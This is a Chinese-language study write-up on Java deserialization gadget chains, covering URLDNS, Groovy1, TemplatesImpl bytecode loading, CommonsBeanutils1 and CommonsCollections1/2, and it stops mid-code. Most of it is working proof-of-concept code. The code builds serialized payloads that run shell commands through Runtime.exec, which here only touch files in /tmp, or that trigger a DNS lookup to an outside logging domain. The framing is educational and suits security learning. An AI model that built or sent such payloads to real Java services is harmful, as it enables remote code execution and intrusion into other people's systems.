URLDNS分析
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
|
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
public static void poc() throws Exception {
String url = "http://76c61980.dns.1433.eu.org";
HashMap hashMap = new HashMap();
URL u = new URL(url);
setFieldValue(u, "hashCode", 1);
hashMap.put(u, "");
setFieldValue(u, "hashCode", -1);
Path path = Paths.get("/tmp/URLDNS.ser");
ObjectOutputStream out = new ObjectOutputStream(Files.newOutputStream(path));
out.writeObject(hashMap);
ObjectInputStream in = new ObjectInputStream(Files.newInputStream(path));
in.readObject();// 模拟反序列化
}
|
HashMap#readObject
在插入数据时会调用URL#hashCode
方法,而URL#hashCode
方法首先对hashCode
进行判断,如果等于-1
则进行handler.hashCode
即DNS查询
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
|
/*HashMap#readObject*/
private void readObject(java.io.ObjectInputStream s) throws IOException, ClassNotFoundException {
// Read the keys and values, and put the mappings in the HashMap
for (int i = 0; i < mappings; i++) {
K key = (K) s.readObject();
V value = (V) s.readObject();
putVal(hash(key), key, value, false, false);
}
}
static final int hash(Object key) {
int h;
return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}
/*URL#hashCode*/
public synchronized int hashCode() {
if (hashCode != -1)
return hashCode;
hashCode = handler.hashCode(this);//URLStreamHandler
return hashCode;
}
protected int hashCode(URL u) {//URLStreamHandler#hashCode
int h = 0;
String protocol = u.getProtocol();
if (protocol != null)
h += protocol.hashCode();
InetAddress addr = getHostAddress(u);//执行DNS查询
}
|
因此在new URL(url)
创建对象后,先通过反射将URL.hashCode
设置为其他数值,避免在HashMap#putVal
时进行DNS查询,在putVal
后,重新将URL.hashCode
设置为-1
,在反序列化时能够正常进行DNS查询
动态代理
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
|
package learn.DynamicProxy;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Method;
import java.lang.reflect.Proxy;
public class DynamicProxy {
public static void main(String[] args) {
Instance ins = new Instance();
inter proxyInstance = (inter) Proxy.newProxyInstance(inter.class.getClassLoader(), new Class[] { inter.class },
new InvocationHandler() {
/**
* newProxyInstance(ClassLoader loader,Class<?>[] interfaces,InvocationHandler h)
* CLassLoader loader 指定动态代理类的类加载器
* Class<?> interfaces 指定动态代理类需要实现的所有接口
* InvocationHandler h 处理调用方法的InvocationHandler对象
*/
@Override
public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
/**
* 所有的流程控制都在invoke方法中
* proxy 代理类
* method 正在调用的方法
* args 被调用方法的参数列表
*/
if (method.getName().equals("func1")) {
System.out.println("proxy-func1");
} else if (method.getName().equals("func2")) {
System.out.println("proxy-func2");
}
return null;
}
});
ins.func1();
ins.func2();
proxyInstance.func1();
proxyInstance.func2();
}
}
interface inter {
void func1();
void func2();
}
class Instance implements inter {
@Override
public void func1() {
System.out.println("ins-func1");
}
@Override
public void func2() {
System.out.println("ins-func2");
}
}
|
Groovy1分析
1
2
3
4
5
6
7
8
9
10
11
|
public class Groovy1 {
public static void main(String[] args) {
MethodClosure methodClosure = new MethodClosure("touch /tmp/Groovy1", "execute");// 生成了一个MethodClosure对象,传入command和"execute"
final ConvertedClosure closure = new ConvertedClosure(methodClosure, "entrySet");// 调用org.codehaus.groovy.runtime#ConvertedClosure并将methodName设置为"entrySet"
Class<?>[] interfaces = (Class<?>[]) Array.newInstance(Class.class, 1);
interfaces[0] = Map.class;// 将动态代理要实现的接口设置为Map
Object o = Proxy.newProxyInstance(Groovy1.class.getClassLoader(), interfaces, closure);// 创建动态代理,invoke方法为ConvertedClosure#invoke
final Map map = Map.class.cast(o);// 将代理对象转换为一个Map对象
map.entrySet().iterator();// 调用了entrySet方法,实际进入了代理对象的invoke方法,ConvertedClosure#Invoke
}
}
|
分析invoke方法
map.entrySet().iterator()
调用了entrySet方法,实际进入了代理对象的invoke方法,即ConvertedClosure#Invoke
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
|
final ConvertedClosure closure = new ConvertedClosure(methodClosure, "entrySet");
//org.codehaus.groovy.runtime
public class ConvertedClosure extends ConversionHandler implements Serializable {
public ConvertedClosure(Closure closure, String method) {
super(closure);// 将closure保存为this.delegate
this.methodName = method;// methodName为entrySet
}
public Object invokeCustom(Object proxy, Method method, Object[] args) throws Throwable {
if (methodName!=null && !methodName.equals(method.getName())) return null;
return ((Closure) getDelegate()).call(args);//调用this.delegate.call(args),即(Closure) MethodClosure.call
}
}
//org.codehaus.groovy.runtime
public abstract class ConversionHandler implements InvocationHandler, Serializable {
public ConversionHandler(Object delegate) {
this.delegate = delegate;
}
public abstract Object invokeCustom(Object proxy, Method method, Object[] args) throws Throwable;
public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {// 动态代理
...
if (!checkMethod(method)) {// 检查该方法是否是java.lang.Object的核心方法,当前method为java.util.Map#entrySet,check返回false,因此进入invokeCustom
try {
return invokeCustom(proxy, method, args);// 进入ConvertedClosure的invokeCustom方法
}
}
}
}
|
分析call方法
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
|
//groovy.lang
public abstract class Closure<V> extends GroovyObjectSupport implements Cloneable, Runnable, GroovyCallable<V>, Serializable {
public V call(Object... args) {
try {
return (V) getMetaClass().invokeMethod(this,"doCall",args);
//getMetaClass()返回MetaClass的值,为MetaClassImpl
//进入MetaClassImpl#invokeMethod
//this 为 MethodClosure
}
}
}
//groovy.lang
public class MetaClassImpl implements MetaClass, MutableMetaClass {
public Object invokeMethod(Object object, String methodName, Object[] originalArguments) {
return invokeMethod(theClass, object, methodName, originalArguments, false, false);
}
public Object invokeMethod(Class sender, Object object, String methodName, Object[] originalArguments, boolean isCallToSuper, boolean fromInsideClass) {
/*
* sender = theClass (MethodClosure)
* object = MethidClosure{method: "execute",owner: "touch /tmp/Groovy1"}
* methodName = docall
*/
MetaMethod method = null;
if (method==null) {
method = getMethodWithCaching(sender, methodName, arguments, isCallToSuper);
}
final boolean isClosure = object instanceof Closure;// MethidClosure是否为Closure的子类
if (isClosure) {
final Closure closure = (Closure) object;
final Object owner = closure.getOwner();// touch /tmp/Groovy1
if (CLOSURE_CALL_METHOD.equals(methodName) || CLOSURE_DO_CALL_METHOD.equals(methodName)) {// methodName = docall = CLOSURE_DO_CALL_METHOD
final Class objectClass = object.getClass(); // objectClass = MethodClosure
if (objectClass == MethodClosure.class) {
final MethodClosure mc = (MethodClosure) object;
methodName = mc.getMethod(); // MethodClosure.getMethod() = "execute"
final Class ownerClass = owner instanceof Class ? (Class) owner : owner.getClass();
final MetaClass ownerMetaClass = registry.getMetaClass(ownerClass);
return ownerMetaClass.invokeMethod(ownerClass, owner, methodName, arguments, false, false);
/*
* ownerMetaClass为MetaClassImpl,因此进行递归调用,直到object instanceof Closure不满足
* object为上一次传入的owner实参,因此在下一次调用时,owner为字符串"touch /tmp/Groovy1",显然不满足instanceof条件,因此跳出if语句
*/
}
...
}
}
if (method != null) {
return method.doMethodInvoke(object, arguments);
} else {
return invokePropertyOrMissing(object, methodName, originalArguments, fromInsideClass, isCallToSuper);
}
}
}
|
分析doMethodInvoke方法
进入dgm$748#doMethodInvoke
,该方法会调用ProcessGroovyMethods.execute
即runtime.exec
达到执行命令的目的
1
2
3
4
5
6
7
8
9
10
11
12
|
public class dgm$748 extends GeneratedMetaMethod {
public final Object doMethodInvoke(Object var1, Object[] var2) {
this.coerceArgumentsToClasses(var2);
return ProcessGroovyMethods.execute((String)var1);
}
}
public class ProcessGroovyMethods extends DefaultGroovyMethodsSupport {
public static Process execute(final String self) throws IOException {
return Runtime.getRuntime().exec(self);
}
}
|
利用TemplatesImpl加载字节码
参考链接 TemplatesImpl利用链学习
分析
默认的defineClass
是java.lang.ClassLoader
的函数,而且是protected
属性,无法直接调用
TemplatesImpl
类中有一个内部类TransletClassLoader
重写了defineClass
,且其定义域为default
1
2
3
4
5
6
|
static final class TransletClassLoader extends ClassLoader {
...
Class defineClass(final byte[] b) {
return defineClass(null, b, 0, b.length);
}
}
|
对defineClass
查找用法,发现其仅在defineTransletClasses
中被使用
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
|
private void defineTransletClasses() throws TransformerConfigurationException {
...
TransletClassLoader loader = (TransletClassLoader) AccessController.doPrivileged(new PrivilegedAction() {
public Object run() {
return new TransletClassLoader(ObjectFactory.findClassLoader(),_tfactory.getExternalExtensionsMap());
//_tfactory : A reference to the transformer factory that this templates object belongs to. 因此 _tfactory 指向 TransformerFactoryImpl 的实例
}
});
try {
final int classCount = _bytecodes.length;
_class = new Class[classCount];
if (classCount > 1) {
_auxClasses = new HashMap<>();
}
for (int i = 0; i < classCount; i++) {
_class[i] = loader.defineClass(_bytecodes[i]);//_bytecodes为字节码数组
final Class superClass = _class[i].getSuperclass();
...
}
...
}
...
}
|
查找defineTransletClasses
引用,共有三条直接利用链
private synchronized Class[] getTransletClasses()
TemplatesImpl中已经没有调用getTransletClasses()的方法
public synchronized int getTransletIndex()
1
2
3
4
5
6
|
public synchronized int getTransletIndex() {
try {
if (_class == null) defineTransletClasses();
}
return _transletIndex;
}
|
成功执行defineClass
但没有输出,因为在defineClass
被调用的时候,类对象是不会被初始化的(相当于只是将字节码转换成Java类,没有进行实例化操作)
需要通过newInstance()
等方法调用构造函数
- private Translet getTransletInstance()
getTransletInstance
被newTransformer
调用,通过newTransformer
构造调用链,并通过_class[_transletIndex].newInstance()
调用构造函数,执行恶意代码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
|
private Translet getTransletInstance() throws TransformerConfigurationException {
try {
if (_name == null) return null;//_name 不能为 null
if (_class == null) defineTransletClasses();//调用defineclass
// The translet needs to keep a reference to all its auxiliary
// class to prevent the GC from collecting them
AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();//调用构造函数
translet.postInitialization();
translet.setTemplates(this);
translet.setServicesMechnism(_useServicesMechanism);
translet.setAllowedProtocols(_accessExternalStylesheet);
if (_auxClasses != null) {
translet.setAuxiliaryClasses(_auxClasses);
}
return translet;
}
...
}
public synchronized Transformer newTransformer() throws TransformerConfigurationException {
TransformerImpl transformer;
transformer = new TransformerImpl(getTransletInstance(), _outputProperties, _indentNumber, _tfactory);
if (_uriResolver != null) {
transformer.setURIResolver(_uriResolver);
}
if (_tfactory.getFeature(XMLConstants.FEATURE_SECURE_PROCESSING)) {
transformer.setSecureProcessing(true);
}
return transformer;
}
|
通过javassist生成字节码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
|
package learn.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import javassist.*;
import java.io.IOException;
import java.util.Base64;
public class GenerateClass {
public static class AbstractTransletExt extends AbstractTranslet {
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
public AbstractTransletExt() {
super();
System.out.println("AbstractTransletExt");
}
}
public static void main(String[] args) throws CannotCompileException, IOException, NotFoundException {
ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(new ClassClassPath(AbstractTransletExt.class));
CtClass clazz = pool.get(AbstractTransletExt.class.getName());
System.out.println(new String(Base64.getEncoder().encode(clazz.toBytecode())));
}
}
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
|
package learn.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import java.lang.reflect.Field;
import java.util.Base64;
public class TemplatesImplDemo {
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
public static void getTransletIndex(TemplatesImpl obj, byte[] code) throws Exception {
setFieldValue(obj, "_bytecodes", new byte[][]{code});
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
obj.getTransletIndex();
}
public static void newTransformer(TemplatesImpl obj, byte[] code) throws Exception {
setFieldValue(obj, "_bytecodes", new byte[][]{code});
setFieldValue(obj, "_name", "asdf");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
obj.newTransformer();
}
public static void main(String[] args) throws Exception {
byte[] code = Base64.getDecoder().decode("yv66vgAAA...wAJ");
TemplatesImpl obj = new TemplatesImpl();
// getTransletIndex(obj, code);
newTransformer(obj, code);
}
}
|
CommonsBeanutils1分析
利用链如下
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
|
package learn.CommonsBeanutils1;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Path;
import java.nio.file.Paths;
import java.util.PriorityQueue;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import javassist.*;
import org.apache.commons.beanutils.BeanComparator;
public class CommonsBeanutils1 {
public static class AbstractTransletExt extends AbstractTranslet {
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
public AbstractTransletExt() {
super();
System.out.println("CommonsBeanutils1");
}
}
public static TemplatesImpl getTemplateImpl() throws Exception {
TemplatesImpl obj = new TemplatesImpl();
ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(new ClassClassPath(AbstractTransletExt.class));
CtClass clazz = pool.get(AbstractTransletExt.class.getName());
setFieldValue(obj, "_bytecodes", new byte[][]{clazz.toBytecode()});
setFieldValue(obj, "_name", "asdf");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
return obj;
}
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
public static void main(String[] args) throws Exception {
TemplatesImpl template = getTemplateImpl();//生成待调用的TemplatesImpl
BeanComparator comparator = new BeanComparator();//生成比较器BeanComparator供PriorityQueue使用
PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);//生成PriorityQueue并调用BeanComparator进行比较
queue.add(1);
queue.add(1);
setFieldValue(comparator, "property", "outputProperties");//设置BeanComparator比较函数为TemplatesImpl中的getOutputProperties
setFieldValue(queue, "queue", new Object[]{template, template});//写入TemplatesImpl
Path path = Paths.get("/tmp/CommonsBeanutils1.ser");
ObjectOutputStream out = new ObjectOutputStream(Files.newOutputStream(path));
out.writeObject(queue);
ObjectInputStream in = new ObjectInputStream(Files.newInputStream(path));
in.readObject();//模拟反序列化
}
}
|
PriorityQueue分析
PriorityQueue
会对队列中的元素用比较器Comparator
进行排序,利用链中PriorityQueue
使用的是CommonsBeanutils
中的比较器BeanComparator
分析PriorityQueue#readObject
函数调用栈为readObject->heapify->siftDown->siftDownUsingComparator->comparator.compare
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
|
private void readObject(java.io.ObjectInputStream s)
throws java.io.IOException, ClassNotFoundException {
s.defaultReadObject();
s.readInt();
queue = new Object[size];
for (int i = 0; i < size; i++)
queue[i] = s.readObject();
heapify();
}
private void heapify() {
for (int i = (size >>> 1) - 1; i >= 0; i--)
siftDown(i, (E) queue[i]);
}
private void siftDown(int k, E x) {
if (comparator != null)//comparator指向CommonsBeanutils的比较器BeanComparator
siftDownUsingComparator(k, x);
else
siftDownComparable(k, x);
}
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
|
private void siftDownUsingComparator(int k, E x) {
int half = size >>> 1;
while (k < half) {
int child = (k << 1) + 1;
Object c = queue[child];
int right = child + 1;
if (right < size && comparator.compare((E) c, (E) queue[right]) > 0)
c = queue[child = right];
if (comparator.compare(x, (E) c) <= 0)//调用CommonsBeanutils中的BeanComparator#compare
break;
queue[k] = c;
k = child;
}
queue[k] = x;
}
|
CommonsBeanutils分析
在PriorityQueue#siftDownUsingComparator
进入BeanComparator#compare
,在PropertyUtils.getProperty
通过反射调用getOutputProperties
最终进入newTransformer
完成字节码的加载与实例化
1
2
3
4
5
6
7
8
9
10
11
12
|
public int compare(T o1, T o2) {//o1和o2均为TemplatesImpl
if (this.property == null) {
return this.internalCompare(o1, o2);
} else {
try {
Object value1 = PropertyUtils.getProperty(o1, this.property);//this.property为outputProperties
Object value2 = PropertyUtils.getProperty(o2, this.property);
return this.internalCompare(value1, value2);
}
...
}
}
|
getProperty
演示
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
|
import org.apache.commons.beanutils.PropertyUtils;
import java.lang.reflect.InvocationTargetException;
public class GetPropertyDemo {
public static class pro {
private String name = "pro";
public String getName(){
System.out.println(name);
return name;
}
}
public static void main(String[] args) throws InvocationTargetException, IllegalAccessException, NoSuchMethodException {
PropertyUtils.getProperty(new pro(),"name");
}
}
|
因此PropertyUtils.getProperty(o1, this.property)
实际执行的是TemplatesImpl#getoutputProperties
1
2
3
4
5
6
7
8
|
public synchronized Properties getOutputProperties() {
try {
return newTransformer().getOutputProperties();//进入TemplatesImpl#newTransformer,后续利用与前面的利用TemplatesImpl加载字节码一致
}
catch (TransformerConfigurationException e) {
return null;
}
}
|
CommonsBeanutils利用成功
CommonsCollections1分析
将JDK版本降低到7u80
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
|
public class CommonsCollections1 {
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class },
new Object[] { "getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class },
new Object[] { null, new Object[0] }),
new InvokerTransformer("exec", new Class[] { String.class },
new String[] { "touch /tmp/CommonsCollections1" })
};
Transformer chainedTransformer = new ChainedTransformer(transformers);
Map hashMap = new HashMap();
Map lazyMap = LazyMap.decorate(hashMap, chainedTransformer);
Class AnnotationInvocationHandler = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = AnnotationInvocationHandler.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
InvocationHandler handler = (InvocationHandler) constructor.newInstance(Retention.class, lazyMap);
Map map = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[] { Map.class }, handler);// 生成代理对象
handler = (InvocationHandler) constructor.newInstance(Retention.class, map);
// map.size();//调用代理对象的任意方法从而调用invoke方法
Path path = Paths.get("/tmp/CommonsCollections1.ser");
ObjectOutputStream out = new ObjectOutputStream(Files.newOutputStream(path));
out.writeObject(handler);
ObjectInputStream in = new ObjectInputStream(Files.newInputStream(path));
in.readObject();// 模拟反序列化
}
}
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
|
package org.apache.commons.collections.functors;
import java.io.Serializable;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import org.apache.commons.collections.FunctorException;
import org.apache.commons.collections.Transformer;
public class InvokerTransformer implements Transformer, Serializable {
private final String iMethodName;
private final Class[] iParamTypes;
private final Object[] iArgs;
public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
super();
iMethodName = methodName;
iParamTypes = paramTypes;
iArgs = args;
}
public Object transform(Object input) {
try {
Class cls = input.getClass();
Method method = cls.getMethod(iMethodName, iParamTypes);
return method.invoke(input, iArgs);
}
}
}
|
在transform
方法通过反射调用任意对象的任意方法
1
2
3
4
5
6
|
public class InvokerTransformerDemo {
public static void main(String[] args) {
InvokerTransformer transformer = new InvokerTransformer("exec", new Class[] { String.class }, new String[] { "touch /tmp/InvokerTransformerDemo" });
transformer.transform(Runtime.getRuntime());
}
}
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
|
final Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] }),
new InvokerTransformer("exec", new Class[] { String.class }, execArgs),
new ConstantTransformer(1)
};
//org.apache.commons.collections.functors
public ChainedTransformer(Transformer[] transformers) {
super();
iTransformers = transformers;
}
public Object transform(Object object) {
for (int i = 0; i < iTransformers.length; i++) {
object = iTransformers[i].transform(object);
}
return object;
}
|
ChainedTransformer#transform
对传入的参数使用iTransformers[i].transform
进行处理,并将处理的结果作为下一次调用的参数
因此将iTransformers
设置为InvokerTransformer
的数组,即可利用InvokerTransformer#transform
进行反射调用
- 通过
ConstantTransformer
获取Runtime.class
1
2
3
4
5
6
7
8
|
//org.apache.commons.collections.functors
public ConstantTransformer(Object constantToReturn) {
super();
iConstant = constantToReturn;
}
public Object transform(Object input) {
return iConstant;
}
|
-
通过InvokerTransformer
调用invoke
,对Runtime.class
执行getMethod("getRuntime")
获取Runtime.class.getRuntime
方法实例
-
通过InvokerTransformer
调用invoke
执行Runtime.class.getRuntime
获取Runtime实例
-
通过InvokerTransformer
调用invoke
执行exec
方法,达到命令执行的目的
InvokerTransformer
调用流程可归纳如下
1
2
|
Runtime rt = (Runtime) Runtime.class.getMethod("getRuntime").invoke(null);
rt.exec("command");
|
Demo演示
1
2
3
4
5
6
7
8
9
10
11
12
|
public class ChainedTransformerDemo {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"touch /tmp/ChainedTransformerDemo"})
};
Transformer chainedTransformer = new ChainedTransformer(transformers);
chainedTransformer.transform(null);
}
}
|
LazyMap分析
通过LazyMap#decorate
将ChainedTransformer
设置为factory
变量,通过LazyMap#get
方法调用factory#transform
从而进入ChainedTransformer#transform
而调用LazyMap#get
则是通过后续的动态代理进行
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
|
final Map innerMap = new HashMap();
final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
//org.apache.commons.collections.map
public static Map decorate(Map map, Transformer factory) {
return new LazyMap(map, factory);
}
protected LazyMap(Map map, Transformer factory) {
super(map);
if (factory == null) {
throw new IllegalArgumentException("Factory must not be null");
}
this.factory = factory;
}
public Object get(Object key) {
if (map.containsKey(key) == false) {
Object value = factory.transform(key);//进入ChainedTransformer#transform
map.put(key, value);
return value;
}
return map.get(key);
}
|
动态代理
在AnnotationInvocationHandler#invoke
中可以通过this.memberValues.get(var4)
来调用LazyMap#get
而this.memberValues
可控,在构造函数中通过var2进行设置
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
|
Class AnnotationInvocationHandler = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = AnnotationInvocationHandler.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
InvocationHandler handler = (InvocationHandler) constructor.newInstance(Retention.class, lazyMap);
Map map = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[] { Map.class }, handler);// 生成代理对象
handler = (InvocationHandler) constructor.newInstance(Retention.class, map);
//sun.reflect.annotation
class AnnotationInvocationHandler implements InvocationHandler, Serializable {
private final Class<? extends Annotation> type;
private final Map<String, Object> memberValues;
private transient volatile Method[] memberMethods = null;
AnnotationInvocationHandler(Class<? extends Annotation> var1, Map<String, Object> var2) {//var1必须为注解类型,且该构造函数不是public,因此通过反射构建对象
Class[] var3 = var1.getInterfaces();
if (var1.isAnnotation() && var3.length == 1 && var3[0] == Annotation.class) {
this.type = var1;
this.memberValues = var2;
}
}
public Object invoke(Object var1, Method var2, Object[] var3) {
String var4 = var2.getName();
Class[] var5 = var2.getParameterTypes();
if (var4.equals("equals") && var5.length == 1 && var5[0] == Object.class) {
return this.equalsImpl(var3[0]);
} else if (var5.length != 0) {
throw new AssertionError("Too many parameters for an annotation method");
} else {
switch (var4) {
case "toString":
return this.toStringImpl();
case "hashCode":
return this.hashCodeImpl();
case "annotationType":
return this.type;
default:
Object var6 = this.memberValues.get(var4);
...
}
}
}
}
|
反序列化
通过readObject
中的var4.entrySet()
进入动态代理,调用AnnotationInvocationHandler#invoke
,从而完成整条反序列化链
用java8运行会报错Exception in thread "main" java.lang.annotation.IncompleteAnnotationException: java.lang.Override missing element entrySet
因此需要将JDK版本降低到7u80
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
|
private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {
ObjectInputStream.GetField var2 = var1.readFields();
Class var3 = (Class)var2.get("type", (Object)null);
Map var4 = (Map)var2.get("memberValues", (Object)null);
AnnotationType var5 = null;
try {
var5 = AnnotationType.getInstance(var3);
} catch (IllegalArgumentException var13) {
throw new InvalidObjectException("Non-annotation type in annotation serial stream");
}
Map var6 = var5.memberTypes();
LinkedHashMap var7 = new LinkedHashMap();
String var10;
Object var11;
for(Iterator var8 = var4.entrySet().iterator(); var8.hasNext(); var7.put(var10, var11)) {
...
}
}
|
CommonsCollections2分析
与CommonsBeanutils1类似,通过PriorityQueue
反序列化的时候会对队列中的元素使用比较器的compare
方法去处理
CC2使用org.apache.commons.collections4.comparators.TransformingComparator#compare
进行比较
利用payload
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
|
public static void main(String[] args) throws Exception {
TemplatesImpl templates = getTemplateImpl();//生成待调用的TemplatesImpl
InvokerTransformer transformer = new InvokerTransformer("toString", null, null);
TransformingComparator comparator = new TransformingComparator(transformer);
final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
queue.add(1);
queue.add(1);
setFieldValue(transformer, "iMethodName", "newTransformer");
setFieldValue(queue, "queue", new Object[]{templates, templates});//写入TemplatesImpl
Path path = Paths.get("CommonsCollections2.ser");
ObjectOutputStream out = new ObjectOutputStream(Files.newOutputStream(path));
out.writeObject(queue);
ObjectInputStream in = new ObjectInputStream(Files.newInputStream(path));
in.readObject();//模拟反序列化
}
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
|
package org.apache.commons.collections4.comparators;
import java.io.Serializable;
import java.util.Comparator;
import org.apache.commons.collections4.ComparatorUtils;
import org.apache.commons.collections4.Transformer;
public class TransformingComparator<I, O> implements Comparator<I>, Serializable {
private final Comparator<O> decorated;
private final Transformer<? super I, ? extends O> transformer;
public TransformingComparator(final Transformer<? super I, ? extends O> transformer, final Comparator<O> decorated) {
this.decorated = decorated;
this.transformer = transformer;
}
public int compare(final I obj1, final I obj2) {
final O value1 = this.transformer.transform(obj1);//this.transformer指向org.apache.commons.collections4.functors.InvokerTransformer
final O value2 = this.transformer.transform(obj2);
return this.decorated.compare(value1, value2);
}
}
|
通过transform
函数实现调用任意类的任意方法,通过TemplatesImpl
的newTransformer
达到rce
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
|
package org.apache.commons.collections4.functors;
import java.io.Serializable;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import org.apache.commons.collections4.FunctorException;
import org.apache.commons.collections4.Transformer;
public class InvokerTransformer<I, O> implements Transformer<I, O>, Serializable {
private final String iMethodName;
private final Class<?>[] iParamTypes;
private final Object[] iArgs;
public InvokerTransformer(final String methodName, final Class<?>[] paramTypes, final Object[] args) {
super();
iMethodName = methodName;
iParamTypes = paramTypes != null ? paramTypes.clone() : null;
iArgs = args != null ? args.clone() : null;
}
public O transform(final Object input) {
try {
